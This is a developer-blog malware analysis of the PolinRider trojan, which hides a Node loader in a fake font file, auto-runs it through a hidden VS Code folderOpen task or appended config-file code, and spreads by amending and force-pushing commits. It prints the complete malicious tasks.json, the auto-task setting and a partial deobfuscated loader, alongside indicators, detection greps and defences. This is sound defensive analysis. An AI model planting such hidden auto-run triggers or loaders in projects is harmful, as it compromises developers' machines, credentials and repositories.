Skip to main content
Th1nkDev
Anatomy of PolinRider: the trojan that rewrites your commits
Back to Academy

Article

Anatomy of PolinRider: the trojan that rewrites your commits

BIYA PaulBIYA Paul
September 9, 202612 min readIntermediate
#Sécurité #Malware #Git #VS Code #Node.js #IoC
In a nutshell

How a fake font file, a hidden VS Code task and a rewritten commit turn one infected repository into eighteen. Mechanism, indicators of compromise, detection commands and protections.

On this page

This article describes how the trojan that Microsoft Defender identifies as Trojan:NPM/PolinRider.SB, Trojan:NPM/ProcSteal.DC!MTB and Trojan:JS/Obfuse.PA!MTB works, and the exact variant that hit our projects between June and September 2026. It is written for developers and teams who want to know what to look for, and what to change. Commands are given as we used them. The story of the incident is in a separate article.

In one sentence

PolinRider is a JavaScript loader run by Node.js, disguised as a font file, launched automatically by VS Code when a folder is opened or by the build tool, which downloads a second credential-stealing program and spreads by rewriting your commits with your own key.

Six-step attack chain: booby-trapped repository, opening in VS Code, call to the command server, theft, rewriting of the last commit, propagation
The full chain. Step 6 restarts step 2 on every machine that clones or builds the repository.

The trigger: a hidden VS Code task

VS Code can run tasks automatically when a folder is opened, through the runOn: "folderOpen" option in .vscode/tasks.json. It is a legitimate feature, meant to start a development server. By default the editor asks for confirmation. So the malware drops two files.

The first is the tasks.json, reproduced here as is. It is harmless to read.

json
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
      "problemMatcher": [],
      "isBackground": true,
      "hide": true,
      "presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "echo": false, "close": true },
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

Everything is there. The name eslint-check is reassuring. The command tests for Node with the Linux and macOS syntax (command -v) and then the Windows one (where): the malware is cross-platform by design. hide: true removes it from the task list, reveal: never and close: true make sure the terminal never shows. And runOn: folderOpen launches it on open.

The second file is .vscode/settings.json. It holds some twenty plausible settings, borrowed from a real project, in the middle of which hides the only line that matters:

json
"task.allowAutomaticTasks": true

With that line, VS Code no longer asks. The task runs, silently, every time someone opens the folder.

The loader: a font that is not one

public/fonts/fa-solid-400.woff2 has a name, a location and an extension that are perfectly credible in a web project. It sits among real Font Awesome fonts (fa-brands-400, fa-regular-400, fa-solid-900, with their .eot, .svg, .ttf, .woff variants), dropped at the same time so the folder looks complete. A folder README.md, copied from a "Blockchain Explorer" project, completes the scenery.

The first 32 bytes of a real WOFF2 font compared with those of the fake file
32,874 bytes, byte-for-byte identical in the six repositories where we found it, from 22 June to 4 September.

The file starts with a few hundred spaces. That is no accident: most file previews in an editor or on GitHub show only the beginning, and an empty beginning passes for binary. Then comes JavaScript run through a classic obfuscator (_0x… identifiers, strings rebuilt from an array, hexadecimal arithmetic for constants). Once the layers are peeled off, the skeleton is readable:

js
global.i = "A10-*020";                       // campaign / variant identifier
global.r = require; global.m = module;        // keeps require available even after rewriting
const http = require("http"), https = require("https"), zlib = require("zlib");
const { URL } = require("url");
const { spawn } = require("child_process");
const R = [...new Set([process.env.ETH_RPC_URL, "https://…", "https://…", "https://…"].filter(Boolean))];
const A = { "http:": new http.Agent({ keepAlive: true, keepAliveMsecs: 30000, maxSockets: 64 }), … };
// then: gzip/deflate/brotli decompression of responses, requests to R, execution through spawn

Three details deserve attention. The A10-*020 identifier changes from one repository to the next (A10-*40840 in the "tailwind" variant), which suggests tracking per target or per version. The R list mixes hard-coded addresses with the ETH_RPC_URL environment variable: the loader knows how to talk to Ethereum nodes, a frequent marker of wallet stealers. And the keepAlive HTTP agents with up to 64 sockets point to a persistent command channel, not a one-off download.

The second stage itself was no longer on the machine in a readable form. We found in the temp folder a b.js of 1.8 MB with encrypted content (no readable string, maximal entropy) and a 16-byte chk.js containing process.exit(0), a typical probe to check that Node runs. Defender's detection names (ProcSteal, "process stealer") and the observed behaviour, key theft and commit rewriting, are enough to qualify the second stage as a credential stealer with remote access.

The "build" variant: the same code, elsewhere

From 10 August, a second form appears in our repositories. No fake font, no .vscode: the same obfuscated block is appended at the end of an existing configuration file, after the last brace and several hundred spaces, on a single line.

js
  variants: {
    extend: {},
  },
};                                                              global.i="A10-*40840";const _0x499797=_0x1574;(function(

Files affected in our case: tailwind.config.js, vite.config.js, eslint.config.mjs, eslint.config.js, postcss.config.js. They all share two properties: Node loads them on every build or lint, and nobody scrolls their last line to the right. This variant no longer depends on VS Code. It runs inside pnpm build, so inside GitHub Actions, inside a docker build, on a Linux server. A deployment pipeline triggered on an infected commit ran the loader on an Ubuntu runner, with the repository's secrets in memory.

Propagation: rewriting your commits with your key

This is the most unusual part, and the one that explains how the infection reached eighteen repositories and a second workstation without anyone clicking on anything.

Once installed, the malware runs a script (named temp_auto_push.bat on Windows, added to each project's .gitignore together with temp_interactive_push.bat and branch_structure.json so it stays invisible in git status). For every repository it finds, the script:

  1. adds its files (the fake font, the decoy real fonts, the .vscode folder, or the block at the end of a config file);
  2. recreates the last commit with --amend, keeping the author date, so the visible message and date do not change;
  3. wipes the local reflogs, which deprives the user of their git command history;
  4. force-pushes to the remote branch with the machine's SSH key.
Two git log lines: the original commit and its copy rewritten with a truncated committer in the -0700 timezone
Same message, same author, same author date. Only the committer and its timezone change.

The signature that gives the operation away is in the committer metadata. The author stays intact, but the committer is truncated to a first name and its date is expressed in the -0700 timezone, while the original machine is on +0100. It is the same second, seen from the US west coast: the script forces the TZ or GIT_COMMITTER_DATE environment variable at amend time. On the affected collaborator's workstation, the same truncation appears on their own name.

From then on, every clone, every git pull, every pipeline run on that branch installs the trigger on a new machine, and the chain starts again. That is how a marketing site infected on 22 June contaminated, by ricochet, client projects in late August.

The decoys

The kit dropped with the fake font contains files whose only purpose is to look normal. They are useful for identification, because they are identical from one victim to the next:

  • .vscode/launch.json: three debug configurations, "Debug SST", "Debug Tests - Unit", "Debug Tests - E2E", with an AWS profile named flo-ct-flo360;
  • .vscode/extensions.json: three recommended extensions (PlantUML, Prettier);
  • .vscode/spellright.dict: two lines;
  • public/fonts/README.md: a text about "BlockchainFont" and "TechMono" fonts for a "Blockchain Explorer application".

These files were copied from a real project, unrelated to the targets. If you find a launch.json mentioning flo-ct-flo360 in a project that uses neither SST nor AWS, you have the kit.

Indicators of compromise

Here is what we could establish with certainty. Hashes are those of the file as stored in git.

IndicatorValue
Loader, name and sizepublic/fonts/fa-solid-400.woff2, 32,874 bytes
Loader, SHA-256c98f2703db7e8b73b296e686cc8dee89d1b1643a90c3e89ef90b6a75805421aa
Trigger, SHA-256.vscode/tasks.json: f5c6be4753d6613c97f1b10c4d93a5d97a8f4fb21eb13da0ed04b23a8a61c2f6
Setting, SHA-256.vscode/settings.json: c0450d71e0b6d06f4d02177c2e7f59444ab368676a807b1e5ba0697ac2ad1859
Text markersglobal.i="A10-, _0x1574, _0x499797, allowAutomaticTasks, folderOpen
Dropper filestemp_auto_push.bat, temp_interactive_push.bat, branch_structure.json, added to .gitignore
Decoyslaunch.json with flo-ct-flo360, README.md "Blockchain Explorer"
Git signaturecommitter different from author, committer date in -0700
Workstation artefacts%TEMP%\b.js (1,876,900 bytes, encrypted, SHA-256 77a1ca02…dca6512), %TEMP%\chk.js (16 bytes, process.exit(0))
Defender namesTrojan:NPM/PolinRider.SB, Trojan:NPM/ProcSteal.DC!MTB, Trojan:JS/Obfuse.PA!MTB

We have no direct evidence of the initial entry vector. The first rewritten commit dates from 22 June 2026. Public reports on this family of campaigns describe booby-trapped repositories handed over during fake job interviews or fake assignments, and malicious npm packages. Several security vendors attribute these campaigns to groups linked to North Korea; we have no means of confirming that ourselves and we stick to what we observed.

Detecting

Three commands are enough, run from a terminal without opening the projects in an editor. On Windows, use Git Bash.

Search for the files, at the root of your projects:

shell
grep -rlE 'global\.i="A10-|_0x1574|allowAutomaticTasks|folderOpen' . \
  --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.json' --include='*.woff2' \
  --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=dist --exclude-dir=.output

Search for rewritten commits, in every repository under a folder:

shell
for d in $(find . -maxdepth 4 -name .git -type d -not -path '*/node_modules/*' | sed 's|/.git$||'); do
  ( cd "$d" && git log --all -n 200 --format='%h|%ad|%cd|%an|%cn|%s' --date=iso 2>/dev/null \
    | awk -F'|' -v r="$d" '($3 ~ /-0700/ && $5 != "GitHub") || ($4 != $5 && $5 != "GitHub") {print r " → " $0}' )
done

Search remote branches without writing anything to disk (the content stays in git's object database, where it cannot execute):

shell
git fetch --all --prune
for b in $(git for-each-ref --format='%(refname:short)' refs/remotes/origin); do
  git grep -l -I -E 'global\.i="A10|_0x1574|allowAutomaticTasks' $b -- . >/dev/null 2>&1 && echo "INFECTED: $b"
done

Protecting yourself

Each of the following measures would have blocked one step of the chain. Together, they break it in several places.

MeasureStep blockedHow
Forbid automatic tasks in VS Code2 · triggerUser settings: "task.allowAutomaticTasks": "off", "security.workspace.trust.enabled": true. A project settings.json cannot override the user setting.
Forbid npm install scripts1 · entry through a packageignore-scripts=true in ~/.npmrc, then pnpm rebuild for the few native packages.
A passphrase on SSH keys4 and 5 · theft and propagationA stolen key file without its passphrase is useless. A separate deployment key that lives only in the pipeline's secrets.
Forbid force-pushes and require signed commits5 · propagationGitHub branch protection. A commit rewritten by the malware is neither a fast-forward nor signed.
A global pre-push guard5 · propagation from your workstationcore.hooksPath pointing to a hook that refuses the push if a marker is present in tracked files.
A guard workflow in CI6 · propagation through pipelinesA job that fails any push containing a marker: ! git grep -l -I -E 'global\.i="A10|_0x1574|allowAutomaticTasks' -- .
Re-read the history every weekdetectionThe second command above, in a Monday reminder.

If you are affected

Cleaning the machine is not enough: everything it held must be considered copied. In order, and from a clean device: delete every SSH key and every token on your GitHub account, change the password and sign out all sessions, warn your collaborators before they pull, clean the workstation, regenerate every secret in every .env file and every pipeline, audit the servers your keys opened, then remove the malware from remote branches and protect them. We described that path step by step in the incident write-up.

And if you have met this variant, with or without the same A10- identifier, we would be glad to compare notes.

Found this useful?

Let us know what you think.

BIYA Paul

About the author

BIYA Paul · Founder & CEO at Think Dev SARL

Senior Software engineer, Designer and Product Manager based in Douala, Cameroon. Building digital products that solve real problems in Africa.

Ready to get started?

Your next digital product
Start here.

Let's talk about your project. No commitment required — just an honest conversation about what's possible.